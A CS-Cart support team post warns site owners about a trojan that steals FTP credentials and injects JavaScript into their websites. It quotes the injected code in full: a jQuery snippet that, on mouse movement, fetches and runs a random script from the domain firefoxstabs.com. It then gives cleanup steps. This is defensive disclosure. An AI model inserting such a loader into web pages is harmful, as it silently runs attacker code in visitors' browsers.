Hello all,
It seems that some dangerous trojan has increased its activity on the Internet recently - it gets access to the user’s local computer, grabs FTP logins and passwords (usually stored in Total Commander) and then adds a malicious code to all index and JavaScript files on websites.
The malicious code looks like this:
<br />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});</script><br />
```<br />
(it is usually is added to the end of JavaScript files).<br />
<br />
If you have noticed some suspicious behavior of your website or some unknown code in the source code of your pages, please do the following:<br />
<br />
- Install a good anti-virus system (if you do not have any) and check your computer, delete all viruses and trojan programs (it is said that the mentioned code can be added via Blackhole Exploit Kit).<br />
- Change all access information to your sites (FTP, Cpanel, administration panel access).<br />
- Add "firefoxstabs.com" to firewall restrictions on your server.<br />
- Use a clean-up script (for example, this one - [url]http://possible.in/products-security-updates.php[/url]) to remove the malicious JavaScript from infected files.<br />
<br />
I hope this information will help you.<br />
<br />
Thank you.<br />
<br />
---<br />
Kate Lazarevskaya<br />
CS-Cart Support team